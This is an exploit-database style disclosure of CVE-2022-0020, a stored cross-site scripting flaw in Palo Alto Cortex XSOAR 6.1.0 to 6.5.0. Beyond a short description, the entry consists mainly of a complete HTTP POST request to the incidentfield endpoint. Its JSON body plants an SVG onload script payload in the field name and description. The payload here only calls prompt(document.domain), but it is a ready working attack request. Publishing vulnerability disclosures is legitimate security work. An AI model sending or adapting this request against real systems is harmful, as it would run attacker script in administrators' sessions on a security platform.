Palo Alto Cortex XSOAR 6.5.0 Cross Site Scripting

`# Exploit Title: Palo Alto Cortex XSOAR 6.5.0 - Stored Cross-Site Scripting (XSS)  
# Exploit Author: omurugur  
# Vendor Homepage: https://security.paloaltonetworks.com/CVE-2022-0020  
# Version: 6.5.0 - 6.2.0 - 6.1.0  
# Tested on: [relevant os]  
# CVE : CVE-2022-0020  
# Author Web: https://www.justsecnow.com  
# Author Social: @omurugurrr  
  
  
A stored cross-site scripting (XSS) vulnerability in Palo Alto Network  
Cortex XSOAR web interface enables an authenticated network-based attacker  
to store a persistent javascript payload that will perform arbitrary  
actions in the Cortex XSOAR web interface on behalf of authenticated  
administrators who encounter the payload during normal operations.  
  
POST /acc_UAB(MAY)/incidentfield HTTP/1.1  
Host: x.x.x.x  
Cookie: XSRF-TOKEN=xI=; inc-term=x=; S=x+x+x+x/x==; S-Expiration=x;  
isTimLicense=false  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0)  
Gecko/20100101 Firefox/94.0  
Accept: application/json  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://x.x.x.x/acc_UAB(MAY)  
Content-Type: application/json  
X-Xsrf-Token:  
Api_truncate_results: true  
Origin: https://x.x.x.x  
Content-Length: 373  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Te: trailers  
Connection: close  
{"associatedToAll":true,"caseInsensitive":true,"sla":0,"shouldCommit":true,"threshold":72,"propagationLabels":["all"],"name":"\"/><svg/onload=prompt(document.domain)>","editForm":true,"commitMessage":"Field  
edited","type":"html","unsearchable":false,"breachScript":"","shouldPublish":true,"description":"\"/><svg/onload=prompt(document.domain)>","group":0,"required":false}  
  
Regards,  
  
Omur UGUR  
  
  
`